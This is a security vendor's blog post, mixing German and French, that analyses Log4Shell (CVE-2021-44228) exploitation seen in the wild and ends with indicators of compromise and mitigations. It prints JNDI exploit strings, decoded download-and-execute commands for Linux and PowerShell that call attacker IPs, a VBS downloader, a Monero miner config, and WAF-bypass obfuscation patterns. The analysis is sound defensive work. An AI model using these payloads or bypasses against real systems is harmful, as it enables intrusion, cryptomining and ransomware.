Wenn Java versagt, bebt die Welt

Das24. November, Chen Zhaojun, Sicherheitsexperte bei Alibaba, meldete die als CVE-2021-44228bekannte Schwachstelle. „ Log4j “ ist eine Open-Source-Logging-Bibliothek, die in Cloud-Diensten und Unternehmenssoftware eingesetzt wird. Seit Freitag, dem 10. Dezember, ist „Log4Shell“ in allen Cyber-Medien präsent. Diese Popularität ist auf ihren CVSS-Wert von 10 zurückzuführen. Es handelt sich um einen RCE-Exploit (Remote Code Execution).

Die Auswirkungen sind massiv, da jeder von dieser Sicherheitslücke betroffen sein kann. Bislang wurden zehntausende Dienste als anfällig identifiziert (mehr als 500.000 öffentliche IP-Adressen sind gelistet), darunter Apple, Steam, Github, Google und IBM. Alle Anwendungen, die das Log4j2-Framework verwenden, sind wahrscheinlich anfällig.

Das größte Risiko, das in den kommenden Wochen oder Monaten erwartet wird, ist ein Anstieg von Ransomware-Angriffen.

1. Wie funktioniert diese Schwachstelle?
2. Wie lässt sie sich erkennen?
3. LINUX
4. WINDOWS
   1. Welche Gegenmaßnahmen sind möglich?
   2. TEHTRIS-Empfehlungen
5. Eine der bisher größten Sicherheitslücken im Internet

Wie funktioniert diese Schwachstelle?

Diese Sicherheitslücke ermöglicht es einem Angreifer, einen Link zu einer Webseite oder eine spezifische Nachricht an den Server zu senden und ihn dazu zu bringen, den gesamten Inhalt dieser Seite zu lesen. Wenn die Seite Java-Code enthält, kann der Server diesen ausführen. Der Hacker kann die Kontrolle über den Server übernehmen, indem er auf extrem einfache Weise Malware installiert. Auf diese Weise stiehlt er Daten, nutzt sie für Krypto-Mining oder für einen Ransomware-Angriff…

Die CVE-2021-44228, auch bekannt als „log4shell“, ist eine Schwachstelle im Produkt „log4j“, einem von der Apache Software Foundation gewarteten Tool zur Protokollierung (Logging) für Java. Bei dieser Schwachstelle handelt es sich um eine RCE (Remote Code Execution), die also aus der Ferne ausnutzbar ist. Sie betrifft alle Log4j2-Versionen von 2.0-beta9 bis 2.14.1. Dies betrifft somit ein Java-Unterprodukt und nicht den von Apache gewarteten Webdienst httpd (Apache HTTP Server).

Diese Schwachstelle ist in allen Versionen von log4j 2.X vorhanden (die Versionen 1.X sind nicht betroffen).

Quelle: https://blogs.apache.org/cloudstack/entry/log4jshell

Die Schwere dieser Schwachstelle ergibt sich aus ihrer einfachen Anwendbarkeit und der Fähigkeit, einen Dienst auszunutzen, selbst wenn dieser nicht direkt exponiert ist, sofern das anfällige Protokoll ihn erreicht.

Weitere Informationen finden Sie hier (die Seite wird laufend aktualisiert):

https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

Wie lässt sie sich erkennen?

Zeitplan

TEHTRIS konnte bereits ab dem 10. Dezember Exploits dieser Schwachstelle in freier Wildbahn feststellen. Hier einige Beispiele:

GET / HTTP/1.1"
${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/<base64 encoded chunk>

Bei der Analyse des Base64-Teils:

(curl -s 45.155.205.233:5874/<service IP>:80||wget -q -O- 45.155.205.233:5874/<service IP>:80)|bash

Diese Syntax ist typisch für Linux-Systeme, wobei die doppelte Verwendung von curl/wget sicherstellt, dass eines der beiden Tools installiert ist.

LINUX

GET "/" HTTP/1.0
"${jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/Y3VybCBodHRwOi8vMi41Ni41OS4xMjMvMSAtLW91dHB1dCAxO3dnZXQgLU8gMSBodHRwOi8vMi41Ni41OS4xMjMvMTtjaG1vZCAreCAxOy4vMQ==}"

Nach der Dekodierung erhält man eine Linux-Befehlszeile:

Die Malware konnte sichergestellt werden:

curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1

Diese ELF-Datei ermöglicht das Ausführen von .NET-Anwendungen von einer Linux-Station aus. Bei genauerer Betrachtung findet man ein eingebettetes .NET-Programm: StealthBotLinux

(001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951) deren Hauptfunktion wie folgt lautet:

public static void Main(string[] args)
{
Program.Install();
Program.RunMiner();
for (;;)
{
Console.ReadKey(true);
}
}

Dieser enthält eine weitere ausführbare Linux-Datei namens setup0141, die er entschlüsselt, sowie eine Konfigurationsdatei a.json (Base64-kodiert), die als Parameter an die ausführbare Datei übergeben wird:

setup0141-c a.json

Diese Datei a.json enthält die folgenden Daten:

{
"http": {
"enabled": true,
"host": "127.0.0.1",
"port": 26540,
"access-token": null,
"restricted": true
},
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.supportxmr.com:443",
"user": "%USER%",
"keepalive": true,
"tls": true
},
{
"url": "monerohash.com:9999",
"user": "%USER%",
"keepalive": true,
"tls": true
}
]
}

Wobei "%USER%" durch Folgendes zu ersetzen ist: 4AeriA3wiocD9gUjiw7qptRDfECriZJac8CgGbfUUPUmMSYtLE43dr2XXDN6t5vd1GWMeGjNFSDh5NUPKBKU3bBz8uatDoC

Fazit: setup0141 scheint ein Monero-Miner zu sein.

WINDOWS

GET "/" HTTP/1.0
${jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtYyBpZXggKChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cHM6Ly90ZXh0YmluLm5ldC9yYXcvMGw4aDR4dXZ4ZScpKQ==}

Die Analyse des Base64-Codes ergab PowerShell-Befehle:

powershell -c iex ((New-Object System.Net.WebClient).DownloadString('hxxps://textbin[.]net/raw/0l8h4xuvxe'))

Der Link enthält die folgenden Informationen:

$a="hxxp://2.56.59.123/setup.exe";$b="c:\windows\temp\setup.exe";$c = "c:\users\public\setup.exe";Import-Module BitsTransfer;try{(New-Object System.Net.WebClient).DownloadFile($a, $b);Start-Process -FilePath $b;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $b;Start-Process -FilePath $b;exit;}catch{};try{(New-Object System.Net.WebClient).DownloadFile($a, $c);Start-Process -FilePath $c;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $c;Start-Process -FilePath $c;exit;}catch{}

Das finale Payload konnte sichergestellt werden:

457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2

Hierbei handelt es sich direkt um eine .NET-ausführbare Datei für Windows. Die Codeanalyse zeigt, dass Verschleierungstechniken eingesetzt werden, um die Untersuchung zu erschweren. Die eigentliche Nutzlast befindet sich in einer zweiten .NET-Datei, die von unserem Programm in einem neuen Thread gestartet wird.

Ce second exécutable est lui aussi obfusqué.

(a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13). Il contient de nombreux mécanismes pour contrer les détections, par exemple : un test permettant de vérifier que la machine est bien connectée à Internet avant de lancer la charge :

public static void smethod_0()
{
try
{
IPAddress[] hostAddresses = Dns.GetHostAddresses("microsoft.com");
if (0 < hostAddresses.Length)
{
return;
}
}
catch
{
}
Environment.Exit(0);
}

ou encore la vérification d’un débuggeur attaché à l’analyse :

public static void smethod_4()
{
bool flag = false;
Class1.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
if (Class1.IsDebuggerPresent() || flag)
{
Environment.Exit(0);
}
}

et bien d'autres...

L’analyse de ce binaire montre que celui-ci va exécuter une commande powershell encodée qui contient :

$a="http://%DOWNLOADADDR%/setup.exe
$b="c:\windows\temp\setup.exe";
Import-Module BitsTransfer;
try{
(New-Object System.Net.WebClient).DownloadFile($a, $b);
Start-Process -FilePath $b;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $b
Start-Process -FilePath $b;
exit;
}catch{};

Nous avons ensuite le script VBS suivant :

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://%DOWNLOADADDR%/setup.exe", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\setup.exe", 2
end with
set shell=CreateObject("Shell.Application")
shell.ShellExecute "cmd.exe","/c start c:\windows\temp\setup.exe","c:\windows\temp", "runas", 1

set shell=nothing

Nous n’avons pas pu récupérer l’exécutable setup.exe.

Dans ces deux scripts, l’adresse %DOWNLOADADDR% est remplacée par 2.56.59.64.

L’attaquant peut donc récupérer sa charge utile (peu importe celle-ci) et continuer son attaque.

Quelles atténuations sont possibles ?

La fondation Apache a publié un correctif en urgence pour patcher la vulnérabilité : la version 2.15.0 puis la version 2.16.0 Log4j (https://logging.apache.org/log4j/2.x/security.html passé au score CVSS 9.0 au 17 décembre).

Le CERT FR, quant à lui propose des mesures de contournement sur son site : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

Cela reste une solution palliative, puisque la liste des logiciels concernés reste colossale. Les correctifs vont devoir être développés et déployés par les fournisseurs. Ensuite, les organisations vont devoir tester et déployer les correctifs et tout ceci va prendre du temps.

Les équipes techniques sont sur le pont, les seules solutions aujourd’hui étant :

• de faire les inventaires des infrastructures pour en vérifier l’exposition
• d’identifier rapidement tous les services web exposés sur Internet
• de mettre à jour la bibliothèque Log4j2 dès que possible
• de filtrer les flux sortants des serveurs pour les limiter aux seuls flux autorisés vers les services de confiance
• de protéger les serveurs derrière les services WAF
• de se concentrer sur la prévention et la rechercher d’éventuels exploits

Recommandations TEHTRIS

En plus de ces recommandations, TEHTRIS vous conseille de :

• patcher
• d’auditer
• de vérifier que la couverture EDR est suffisante et qu’une supervision des parcs est efficace

Par exemple, le powershell cité plus haut est détecté par l’EDR TEHTRIS

Notre technologie XDR va vous aider à identifier les machines vulnérables, si vous avez l’EDR, ce dernier va détecter la faille et pourra, en dernier recours, isoler la menace pour empêcher des attaques sur le serveur. Selon les paramètrages de votre TEHTRIS XDR Platform, l'hyper automatisation embarquée permet une remédiation automatique aux attaques, 24h/24 et 7 jours sur 7.

A noter, par ailleurs que TEHTRIS a réalisé un audit d’impact à propos de la vulnérabilité CVE-2021-44228 « Log4shell ». Elle est non applicable aux produits TEHTRIS. Enfin les honeypots de TEHTRIS, intégrés au produit TEHTRIS Deceptive Response, ont enregistré des exploitations dès l’annonce de la vulnérabilité.

Les attaques citées dans cet article semblent avoir pour but le minage de crypto-monnaie, mais il ne faut pas oublier que cette vulnérabilité risque de servir, dans les jours prochains, de vecteurs pour des ransomwares ou autres types d’attaques plus graves. Des cas ont d’ores et déjà été observés dans la nature.

Une des plus grosses failles d’Internet à ce jour

Cette faille est considérée comme la plus grosse faille critique d’Internet. Elle n’épargne personne. Toutes les organisations peuvent être touchées, tous les secteurs également. Désormais, un défi de taille attend les équipes de sécurité.

TEHTRIS vous partage ses IoCs.

IOC

IP

45.155.205.233

195.54.160.149

101.204.24.28

167.99.221.217

178.128.232.114

217.112.83.246

2.56.59.123

2.56.59.64

Sha256

457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2

3d3ab116c73dcc28e9e331c5e53b45ee12b528b56224d968b7ee949d11b253a2

001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951

a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13

Quelques bypass WAF observés

${jndi:${lower:l}${lower:d}a${lower:p}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}

${jndi:dns da LDAP nicht der einzige anfällige Dienst ist

$%7Bjndi:ldap

$%7Bjndi:dns